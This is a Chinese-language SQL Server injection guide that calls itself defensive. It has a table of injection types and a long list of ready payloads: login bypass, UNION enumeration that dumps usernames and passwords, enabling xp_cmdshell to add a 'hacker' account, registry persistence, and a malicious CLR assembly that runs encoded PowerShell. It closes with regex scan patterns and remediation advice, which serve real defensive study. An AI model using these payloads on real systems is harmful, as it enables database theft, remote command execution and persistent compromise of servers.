本文僅供**安全研究、代碼審計、防禦體系建設**參考,**嚴禁用於非授權測試或攻擊**。所有示例在隔離測試環境演示,生產環境請直接套用修復方案。
| 類型 | 特徵 | 數據獲取方式 | 危害上限 |
|---|---|---|---|
| 聯合查詢注入 | 回顯位置可控 | `UNION SELECT ...` 直接回顯 | 數據竊取 |
| 報錯注入 | 錯誤信息回顯 | `CONVERT(INT, (SELECT @@VERSION))` 觸發轉換錯誤攜帶數據 | 數據竊取 |
| 盲注 (布爾/時間) | 無回顯、無報錯 | `IF (SELECT 1 FROM ...) WAITFOR DELAY '0:0:5'` / 頁面真假差異 | 數據竊取 (慢) |
| 堆疊查詢 | 支持多語句 `;` | `; DROP TABLE ...; --` / `; EXEC xp_cmdshell ...` | **RCE / 系統失陷** |
| 二次注入 | 存儲時無害、使用時觸發 | 存儲 `admin'--` 登錄時成為 `WHERE user='admin'--'` | 繞過認證/邏輯破壞 |
' OR 1=1-- -- 繞過認證
' OR '1'='1 -- 繞過認證 (無註釋)
'; WAITFOR DELAY '0:0:5'-- -- 時間盲注確認
' UNION SELECT NULL-- -- 1 列
' UNION SELECT NULL,NULL-- -- 2 列
... 直到不報錯
' UNION SELECT name, NULL, NULL FROM sys.databases-- -- 爆庫
' UNION SELECT name, NULL, NULL FROM sys.objects WHERE type='U'-- -- 爆表
' UNION SELECT name, NULL, NULL FROM sys.columns WHERE object_id=OBJECT_ID('Users')-- -- 爆列
' UNION SELECT Username, Password, Email FROM Users-- -- 竊取數據
; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami'; -- 獲取服務賬戶權限
EXEC xp_cmdshell 'net user hacker P@ss /add'; -- 添加系統用戶
EXEC xp_cmdshell 'reg add HKLM\...\Run /v Evil /t REG_SZ /d "cmd.exe"'; -- 持久化
-- 1. 攻擊者上傳惡意 DLL (Base64 編碼十六進制)
CREATE ASSEMBLY Evil FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE;
-- 2. 創建存儲過程映射
CREATE PROC usp_EvilCmd @Cmd NVARCHAR(MAX) AS EXTERNAL NAME Evil.[Namespace.Class]::Method;
-- 3. 執行任意命令
EXEC usp_EvilCmd 'powershell -enc ...';
# 正則掃描禁止模式 (示例)
# 1. 字符串拼接 SQL
(\+|&)\s*["']\s*SELECT|INSERT|UPDATE|DELETE|EXEC
# 2. 執行動態 SQL 無參數
EXEC\s*\(|sp_executesql\s+N['"][^'"]*@
# 3. 直接使用 Request/QueryString/Form 進入 SQL
Request\.(QueryString|Form|Params)\(["']\w+["']\).*SELECT|INSERT|UPDATE|DELETE
SQL 注入本質是**代碼與數據未分離**。**參數化查詢**是唯一徹底解法;最小權限、禁用危險組件、WAF、審計告警構成纏繞防線。安全是系統工程,而非單點修補。請將上述紅線清單納入研發規範與自動化掃描,做到「無參數化不上線、無最小權限不部署、無審計不運行」。